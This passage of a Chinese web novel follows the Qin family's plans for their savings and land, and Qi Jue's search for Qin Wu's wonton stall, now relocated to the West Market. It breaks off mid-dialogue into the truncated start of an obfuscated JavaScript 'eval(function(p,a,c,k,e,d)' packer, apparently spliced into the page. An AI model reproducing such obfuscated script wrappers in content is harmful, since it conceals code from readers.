留着应急,头疼脑热、摊子有变故时不用伸手求人;另一半慢慢攒着,凑租铺面的本钱。
等过了年赶集,再买半斗花生种。开春地一化冻,北坡那三亩沙地全种上花生,秋后收了自己榨油,卤味和馄饨都能用,成本还能再降一截。田埂边顺手撒点葱籽韭菜籽,往后配料不用天天去市集买。
秦家上下没人有异议。
从前日子是过一天算一天,熬到秋收算一年,没人把日子算得这么细、这么远。
如今,听秦芜一安排,仿佛眼前这破草屋、这三亩薄地,真能顺着她的话,一步步变出踏踏实实的日子。
......
祁珏忙了一上午的账册,早膳也只用了两块点心,胃里空落落的,莫名就念起秦小娘子家那碗鲜热的馄饨。
入冬后他常差祁青去打包,今日得空,便索性自己带了祁青往码头去,想着顺路吃一碗热的。
可到了老地方,墙根空荡荡的,往日里冒着白汽的摊子连个影子都没有。
祁青左右瞅了瞅,也纳闷:“往日这个时辰正忙呢,怎么今日没来?”
祁珏拦住个扛着麻袋歇脚的脚夫,温声问:“敢问兄台,常在这里卖馄饨的秦娘子,今天出摊了吗?”
脚夫乐呵呵道,“秦小娘子搬地方啦!人家如今鸟枪换炮,去西市市易司过了明路,租了个正经的带棚摊位。公子若想吃馄饨,得去西市东街那头找咯!”
西市东街,人声鼎沸,骡马交错。
秦芜的新推车支在街角的一处避风向阳地。
黄澄澄的桐油车身在冬日薄阳下泛着光,厚实的草帘挡住了大半穿堂风。车沿上挂着块新刨的榆木招牌,刻着“老秦家馄饨卤味”六个字,字迹朴拙,却清清楚楚。
车上并排嵌着两口大铁锅,底下两个红泥炭炉烧得正旺,碎炭饼不冒黑烟,只透着暗红火光。
一口大汤锅咕嘟着奶白的鸡骨馄饨汤,旁边一口深铁锅焖着红亮的卤味,大肠、肺片、猪头肉浸在浓卤里,锅旁码着卤豆干、卤鸡蛋,油光水滑,香气顺着风飘出半条街。
车前支着四张干净的方桌,早坐满了卸货的脚夫和来往的行商。
“三碗馄饨,切三十文的卤肉,拼一盘干子!”
“好嘞
;eval(function(p,a,c,k,e,d){e=function(c){return(c